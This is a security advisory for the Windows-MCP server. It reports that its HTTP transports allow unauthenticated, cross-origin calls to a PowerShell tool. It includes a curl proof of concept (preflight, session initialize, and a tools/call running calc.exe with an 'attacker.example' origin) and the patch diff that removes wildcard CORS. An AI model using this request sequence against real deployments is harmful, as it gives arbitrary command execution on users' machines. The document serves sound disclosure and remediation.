Windows-MCP: HTTP transports expose unauthenticated PowerShell control with wildcard CORS
Description
HTTP transports expose unauthenticated PowerShell control with wildcard CORS
There is an issue in the SSE and Streamable HTTP transport modes. The default stdio mode is not affected, but the documented HTTP modes expose the MCP control plane without authentication and add wildcard CORS handling around it. The same server exposes the PowerShell tool, which executes caller-controlled commands as the Windows user running Windows-MCP.
Relevant source:
src/windows_mcp/__main__.py:37-42:_http_middleware()installsOptionsMiddlewareandCORSMiddlewarewithallow_origins=["*"],allow_methods=["*"], andallow_headers=["*"].src/windows_mcp/__main__.py:45-72:OptionsMiddlewareresponds to everyOPTIONSrequest with wildcardAccess-Control-Allow-Origin,Access-Control-Allow-Methods, andAccess-Control-Allow-Headers.src/windows_mcp/__main__.py:75-113:_build_mcp()constructsFastMCP(name="windows-mcp", ...)without an auth provider.src/windows_mcp/__main__.py:139-151: bothsseandstreamable-httpcallmcp.run(...)with that middleware and no application-level auth/security settings.src/windows_mcp/tools/shell.py:10-24: registers thePowerShelltool and passes caller-controlledcommandtoPowerShellExecutor.execute_command.src/windows_mcp/desktop/powershell.py:176-204: executes that command through PowerShell-EncodedCommand.README.md:421-424and433-434: documents the HTTP transports and describes Streamable HTTP as network-accessible HTTP streaming.
In an affected configuration, a client that can reach http://localhost:8000/mcp can initialize an MCP session and invoke tools/call for PowerShell. The issue is not just that PowerShell is powerful; it is that the HTTP control plane around that tool is unauthenticated and configured with wildcard CORS.
Root cause
The HTTP transport entry points compose two independent design decisions that fail-open together: the FastMCP instance is built without any authentication provider, and the middleware stack installs blanket wildcard CORS (allow_origins=*, allow_methods=*, allow_headers=*) that explicitly permits cross-origin browsers and any non-browser HTTP client to reach the MCP control plane. Either one alone would be a partial defense; together, the unauthenticated control plane is reachable from arbitrary origins, with no host-validation, no token check, and no DNS-rebinding mitigation between an attacker's request and the registered PowerShell tool. The structural fix is to require an auth provider (token, mTLS, or local-only secret handshake) on the HTTP transports and to scope CORS to a specific operator-configured allowlist rather than applying wildcard policy to a tool surface that includes shell execution.
Auth boundary violated
Boundary: Network trust domain (an unauthenticated remote/cross-origin caller is treated as if it were a trusted local MCP client with rights to invoke privileged shell tools).
Respected at: stdio transport path (src/windows_mcp/__main__.py stdio branch) — the default transport relies on parent-process pipe ownership for caller identity, which is a real OS-level boundary.
Violated at: src/windows_mcp/__main__.py:139-151 (SSE and Streamable HTTP branches call mcp.run(...) with the wildcard-CORS middleware installed at :37-42 and no auth provider attached at :75-113). The boundary is silently dropped: there is no code path between the inbound HTTP request and tools/call for PowerShell (src/windows_mcp/tools/shell.py:10-24 → src/windows_mcp/desktop/powershell.py:176-204) that asserts caller identity or origin.
Minimal protocol proof from a matching FastMCP 3.2.4 harness with the same middleware posture:
$ curl -i -s -X OPTIONS 'http://127.0.0.1:18123/mcp/' \
-H 'Origin: https://attacker.example' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type,mcp-session-id'
HTTP/1.1 200 OK
access-control-allow-origin: *
access-control-allow-methods: *
access-control-allow-headers: *
$ curl -i -s 'http://127.0.0.1:18123/mcp' \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"evil-page","version":"1"}}}'
HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: c67be0098b7643eb961b2fd0185ee043
access-control-allow-origin: *
$ curl -i -s 'http://127.0.0.1:18123/mcp' \
-H 'Origin: https://attacker.example' \
-H 'Mcp-Session-Id: c67be0098b7643eb961b2fd0185ee043' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"PowerShell","arguments":{"command":"calc.exe","timeout":30}}}'
HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: c67be0098b7643eb961b2fd0185ee043
access-control-allow-origin: *
event: message
data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"executed: calc.exe"}],"structuredContent":{"result":"executed: calc.exe"},"isError":false}}
Impact
For affected HTTP-transport deployments, successful exploitation gives arbitrary PowerShell execution as the user running Windows-MCP. There is an important browser caveat: current Chrome/Edge Local Network Access / Private Network Access behavior may block or prompt for public-site-to-localhost requests because this middleware does not return Access-Control-Allow-Private-Network: true. The exposure still applies to same-origin/private-origin contexts, browsers or apps without that enforcement, user-approved local-network prompts, browser extensions, and non-browser HTTP clients.
Suggested fix: require authentication for HTTP transports, remove wildcard CORS from MCP control endpoints, restrict origins to explicit trusted clients, and enable/propagate transport security settings such as host validation. If unauthenticated HTTP is retained for development, I would make it an explicit unsafe flag and add regression tests for cross-origin OPTIONS, initialize, and tools/call.
Affected products
1Patches
1470b2991b3ebfix: remove wildcard CORS and add DNS rebinding protection (GHSA-vrxg-gm77-7q5g)
5 files changed · +104 −35
pyproject.toml+1 −1 modified@@ -1,6 +1,6 @@ [project] name = "windows-mcp" -version = "0.7.4" +version = "0.7.5" description = "Lightweight MCP Server for interacting with Windows Operating System." authors = [ { name = "Jeomon George", email = "jeogeoalukka@gmail.com" }
README.md+14 −0 modified@@ -485,6 +485,18 @@ windows-mcp --auth-key "token" --ip-allowlist "203.0.113.0/24,198.51.100.5" ``` Restricts connections to specified CIDR ranges. Blocks private/loopback IPs by default. +### CORS Origins + +By default, **no CORS headers are emitted**. Browsers block cross-origin requests via their own Same-Origin Policy, which means arbitrary websites cannot reach the MCP control plane even if the server is on `localhost`. Host-header validation (DNS rebinding protection) is also applied automatically based on the bind address. + +If you need a browser-based MCP client to reach the server, opt in with an explicit origin allowlist: + +```shell +windows-mcp --cors-origins "https://my-client.example.com,https://other.example.com" +``` + +Only the listed origins receive `Access-Control-Allow-Origin` headers; all other cross-origin requests are rejected by the browser. The equivalent environment variable is `WINDOWS_MCP_CORS_ORIGINS`. + ### Tool Selection All tools are enabled by default. Use `--tools` to whitelist specific tools, or `--exclude-tools` to block specific ones. @@ -575,6 +587,7 @@ ssl_keyfile = "key.pem" [security] ip_allowlist = ["192.168.1.0/24"] +cors_origins = ["https://my-client.example.com"] # optional — browser CORS opt-in oauth_client_id = "my-client" # optional — enables OAuth 2.0 + PKCE oauth_client_secret = "my-secret" @@ -624,6 +637,7 @@ All variables are optional unless noted. Set them via the `env` key in `claude_d |---|---|---| | `WINDOWS_MCP_AUTH_KEY` | _(none)_ | Bearer token required on all HTTP requests. Alternative to `--auth-key` CLI flag. | | `WINDOWS_MCP_IP_ALLOWLIST` | _(none)_ | Comma-separated list of allowed client IPs or CIDR ranges (e.g., `203.0.113.0/24,198.51.100.5`). Alternative to `--ip-allowlist` CLI flag. | +| `WINDOWS_MCP_CORS_ORIGINS` | _(none)_ | Comma-separated list of origins permitted to make cross-origin browser requests (e.g., `https://my-client.example.com`). No CORS headers are emitted when unset. Alternative to `--cors-origins` CLI flag. | | `WINDOWS_MCP_TOOLS` | _(all enabled)_ | Comma-separated explicit list of tools to enable (e.g., `Screenshot,Click,Snapshot`). Alternative to `--tools` CLI flag. | | `WINDOWS_MCP_EXCLUDE_TOOLS` | _(none)_ | Comma-separated list of tools to disable (e.g., `PowerShell,Registry`). Alternative to `--exclude-tools` CLI flag. | | `WINDOWS_MCP_SSL_CERTFILE` | _(none)_ | Path to TLS certificate file (.pem) for HTTPS. Must be provided with `WINDOWS_MCP_SSL_KEYFILE`. |
SECURITY.md+11 −8 modified@@ -145,10 +145,13 @@ These tools only read information without making changes: ### 4. **Network Security** -- When using SSE or HTTP transport modes, ensure proper network isolation -- Use localhost binding (`127.0.0.1`) instead of `0.0.0.0` when possible +- The default `stdio` transport has no network exposure — prefer it for local use +- HTTP transports (`sse`, `streamable-http`) enforce authentication for any non-loopback bind address; starting without `--auth-key`, `--oauth-client-id/secret`, or `--allow-insecure-remote` on a non-loopback host is refused at startup +- **CORS is disabled by default** — no `Access-Control-Allow-Origin` headers are emitted, so browsers block cross-origin requests via their own Same-Origin Policy; use `--cors-origins` only if you need a browser-based MCP client and restrict it to the specific origin(s) required +- **DNS rebinding protection** is applied automatically — the server validates the `Host` header against the configured bind address so a DNS rebinding attack cannot be used to reach a localhost-bound server from an external site +- Use localhost / loopback binding (`127.0.0.1`) instead of `0.0.0.0` when network-wide access is not required - Implement firewall rules to restrict access to the MCP server ports -- Never expose the MCP server directly to the internet without proper authentication +- Never expose the MCP server to the internet without `--auth-key` or OAuth and TLS (`--ssl-certfile`/`--ssl-keyfile`) ### 5. **Data Protection** @@ -248,10 +251,10 @@ Windows-MCP relies on several third-party libraries. We: ### Key Dependencies -- **PyAutoGUI**: Mouse and keyboard automation -- **UIAutomation**: Windows UI interaction -- **FastMCP**: MCP server framework -- **httpx**: HTTP client for web scraping +- **comtypes / uia**: Low-level Windows UIAutomation COM bindings for UI interaction and accessibility-tree traversal +- **FastMCP**: MCP server framework (stdio, SSE, Streamable HTTP transports) +- **Starlette / Uvicorn**: ASGI layer used by the HTTP transports; provides CORS, TrustedHost, and custom auth middleware +- **httpx**: HTTP client used by the Scrape tool for web content fetching ## Compliance and Auditing @@ -293,7 +296,7 @@ All tools include security-relevant annotations: - **idempotentHint**: `true` if repeated calls have no additional effect - **openWorldHint**: `true` if the tool interacts with external entities -Refer to `main.py` for complete tool annotations. +Refer to `src/windows_mcp/__main__.py` and `src/windows_mcp/tools/` for complete tool annotations. ## Disclaimer
src/windows_mcp/infrastructure/config.py+6 −0 modified@@ -21,6 +21,7 @@ class ServerConfig: @dataclass class SecurityConfig: ip_allowlist: list[str] = field(default_factory=list) + cors_origins: list[str] = field(default_factory=list) oauth_client_id: str | None = None oauth_client_secret: str | None = None @@ -109,6 +110,8 @@ def load_config(path: Path | None) -> WindowsMCPConfig: if "ip_allowlist" in security: cfg.security.ip_allowlist = _list_of_strings(security["ip_allowlist"], "security.ip_allowlist") + if "cors_origins" in security: + cfg.security.cors_origins = _list_of_strings(security["cors_origins"], "security.cors_origins") if "oauth_client_id" in security: cfg.security.oauth_client_id = str(security["oauth_client_id"]) or None if "oauth_client_secret" in security: @@ -149,6 +152,9 @@ def write_config(cfg: WindowsMCPConfig, path: Path) -> None: if sec.ip_allowlist: items = ', '.join(f'"{ip}"' for ip in sec.ip_allowlist) sec_lines.append(f'ip_allowlist = [{items}]') + if sec.cors_origins: + items = ', '.join(f'"{o}"' for o in sec.cors_origins) + sec_lines.append(f'cors_origins = [{items}]') if sec.oauth_client_id: sec_lines.append(f'oauth_client_id = "{sec.oauth_client_id}"') if sec.oauth_client_secret:
src/windows_mcp/__main__.py+72 −26 modified@@ -57,12 +57,26 @@ def _http_middleware( auth_key: str | None = None, ip_allowlist: list | None = None, oauth_validator=None, + cors_origins: list[str] | None = None, + allowed_hosts: list[str] | None = None, ) -> list: - """Return ASGI middleware for HTTP transports including CORS and OPTIONS handling.""" - middleware = [ - Middleware(OptionsMiddleware), - Middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"]), + """Return ASGI middleware for HTTP transports.""" + middleware: list = [ + Middleware(OptionsMiddleware, allowed_origins=cors_origins or []), ] + if allowed_hosts: + from starlette.middleware.trustedhost import TrustedHostMiddleware + middleware.append(Middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)) + if cors_origins: + middleware.append( + Middleware( + CORSMiddleware, + allow_origins=cors_origins, + allow_methods=["GET", "POST", "OPTIONS"], + allow_headers=["Content-Type", "Authorization", "Mcp-Session-Id"], + allow_credentials=False, + ) + ) if ip_allowlist: middleware.append(Middleware(IPAllowlistMiddleware, allowlist=ip_allowlist)) if auth_key: @@ -86,31 +100,34 @@ def _choose_value(ctx: click.Context, name: str, cli_value, config_value, defaul class OptionsMiddleware: - """ASGI middleware that intercepts OPTIONS requests and returns 200 OK.""" + """ASGI middleware that intercepts OPTIONS preflight requests. - def __init__(self, app: Any) -> None: + Only echoes CORS headers when the request Origin is in the explicit allowlist. + With an empty allowlist (default), returns 200 OK with no CORS headers so that + browsers block cross-origin access via Same-Origin Policy. + """ + + def __init__(self, app: Any, *, allowed_origins: list[str] | None = None) -> None: self.app = app + self._allowed: frozenset[str] = frozenset(allowed_origins or []) async def __call__(self, scope: Any, receive: Any, send: Any) -> None: if scope["type"] == "http" and scope["method"] == "OPTIONS": - await send( - { - "type": "http.response.start", - "status": 200, - "headers": [ - [b"content-length", b"0"], - [b"access-control-allow-origin", b"*"], - [b"access-control-allow-methods", b"*"], - [b"access-control-allow-headers", b"*"], - ], - } - ) - await send( - { - "type": "http.response.body", - "body": b"", - } - ) + headers: list[list[bytes]] = [[b"content-length", b"0"]] + if self._allowed: + origin = next( + (v.decode("latin-1") for k, v in scope.get("headers", []) if k == b"origin"), + None, + ) + if origin and origin in self._allowed: + headers += [ + [b"access-control-allow-origin", origin.encode("latin-1")], + [b"access-control-allow-methods", b"GET, POST, OPTIONS"], + [b"access-control-allow-headers", b"content-type, authorization, mcp-session-id"], + [b"vary", b"Origin"], + ] + await send({"type": "http.response.start", "status": 200, "headers": headers}) + await send({"type": "http.response.body", "body": b""}) else: await self.app(scope, receive, send) @@ -223,6 +240,8 @@ def _run_server( ssl_certfile: str | None = None, ssl_keyfile: str | None = None, oauth_validator=None, + cors_origins: list[str] | None = None, + allowed_hosts: list[str] | None = None, ) -> None: mcp = _build_mcp() if explicit_tools or exclude_tools: @@ -244,6 +263,8 @@ def _run_server( auth_key=auth_key, ip_allowlist=ip_allowlist, oauth_validator=oauth_validator, + cors_origins=cors_origins, + allowed_hosts=allowed_hosts, ), uvicorn_config=uvicorn_config or None, ) @@ -333,6 +354,14 @@ def main(): type=str, show_default=False, ) +@click.option( + "--cors-origins", + help="Comma-separated list of allowed CORS origins (e.g. 'https://my-client.example.com'). Defaults to none — no CORS headers are emitted, so browsers block cross-origin requests via Same-Origin Policy.", + default=None, + envvar="WINDOWS_MCP_CORS_ORIGINS", + type=str, + show_default=False, +) @click.option( "--ssl-certfile", help="Path to TLS certificate file (.pem) for HTTPS. Requires --ssl-keyfile.", @@ -365,7 +394,7 @@ def main(): type=str, show_default=False, ) -def serve(ctx, transport, host, port, debug, config, auth_key, allow_insecure_remote, ip_allowlist, tools, exclude_tools, ssl_certfile, ssl_keyfile, oauth_client_id, oauth_client_secret): +def serve(ctx, transport, host, port, debug, config, auth_key, allow_insecure_remote, ip_allowlist, tools, exclude_tools, cors_origins, ssl_certfile, ssl_keyfile, oauth_client_id, oauth_client_secret): asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) if transport == Transport.STDIO.value: os.environ.setdefault("NO_COLOR", "1") @@ -399,6 +428,7 @@ def serve(ctx, transport, host, port, debug, config, auth_key, allow_insecure_re cli_tools = [t.strip() for t in tools.split(",") if t.strip()] if tools else [] cli_exclude = [t.strip() for t in exclude_tools.split(",") if t.strip()] if _param_explicit(ctx, "exclude_tools") and exclude_tools else list(cfg.tools.exclude) cli_allowlist = [e.strip() for e in ip_allowlist.split(",")] if ip_allowlist and _param_explicit(ctx, "ip_allowlist") else cfg.security.ip_allowlist + cli_cors = [o.strip() for o in cors_origins.split(",") if o.strip()] if cors_origins and _param_explicit(ctx, "cors_origins") else list(cfg.security.cors_origins) if bool(ssl_certfile) != bool(ssl_keyfile): raise click.ClickException("--ssl-certfile and --ssl-keyfile must be provided together.") @@ -431,6 +461,19 @@ def serve(ctx, transport, host, port, debug, config, auth_key, allow_insecure_re if (auth_key or cli_allowlist) and transport == Transport.STDIO.value: logger.warning("--auth-key / --ip-allowlist have no effect on stdio transport") + # DNS rebinding protection: validate Host header against the bind address. + # Applied automatically for loopback binds; skipped for 0.0.0.0/:: (too broad) + # and when allow_insecure_remote is set. + if transport != Transport.STDIO.value and not allow_insecure_remote: + if is_loopback_host(host): + computed_allowed_hosts: list[str] | None = ["localhost", "127.0.0.1", "[::1]"] + elif host not in ("0.0.0.0", "::", ""): + computed_allowed_hosts = [host] + else: + computed_allowed_hosts = None + else: + computed_allowed_hosts = None + # Set up OAuth routes if configured (HTTP transports only) oauth_validator = None if configured_oauth and transport != Transport.STDIO.value: @@ -450,12 +493,13 @@ def serve(ctx, transport, host, port, debug, config, auth_key, allow_insecure_re scheme = "https" if ssl_certfile else "http" logger.debug( - "Starting windows-mcp (transport=%s, %s, auth=%s, oauth=%s, ip-allowlist=%s, tools=%s, exclude=%s)", + "Starting windows-mcp (transport=%s, %s, auth=%s, oauth=%s, ip-allowlist=%s, cors=%s, tools=%s, exclude=%s)", transport, scheme, "on" if auth_key else "off", "on" if configured_oauth else "off", cli_allowlist or "off", + cli_cors or "off", cli_tools or "all", cli_exclude or "none", ) @@ -471,6 +515,8 @@ def serve(ctx, transport, host, port, debug, config, auth_key, allow_insecure_re ssl_certfile=ssl_certfile, ssl_keyfile=ssl_keyfile, oauth_validator=oauth_validator, + cors_origins=cli_cors or None, + allowed_hosts=computed_allowed_hosts, ) logger.debug("Server shut down normally") except Exception:
Vulnerability mechanics
Root cause
"The HTTP transport modes fail to enforce authentication and incorrectly configure Cross-Origin Resource Sharing (CORS) with wildcard settings, allowing unauthenticated access to the PowerShell tool."
Attack vector
An attacker can reach the MCP control plane via the SSE or Streamable HTTP transports, typically at `http://localhost:8000/mcp` [ref_id=1]. By sending an `OPTIONS` request with a crafted `Origin` header, the attacker can confirm the wildcard CORS policy. Subsequently, the attacker can send a JSON-RPC request to initialize an MCP session and then call the `PowerShell` tool with arbitrary commands, such as executing `calc.exe` [ref_id=1]. This bypasses the intended network trust boundary.
Affected code
The vulnerability lies within the HTTP transport implementations in `src/windows_mcp/__main__.py`. Specifically, the `_http_middleware()` function installs `OptionsMiddleware` and `CORSMiddleware` with wildcard settings (`allow_origins=[
What the fix does
The advisory suggests requiring an authentication provider (such as token, mTLS, or a local secret handshake) for HTTP transports. Additionally, it recommends restricting CORS origins to an explicit allowlist instead of using wildcards, especially for endpoints that expose sensitive tools like shell execution. This approach ensures that only authenticated and explicitly permitted clients can access the control plane and its tools, thereby closing the vulnerability.
Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.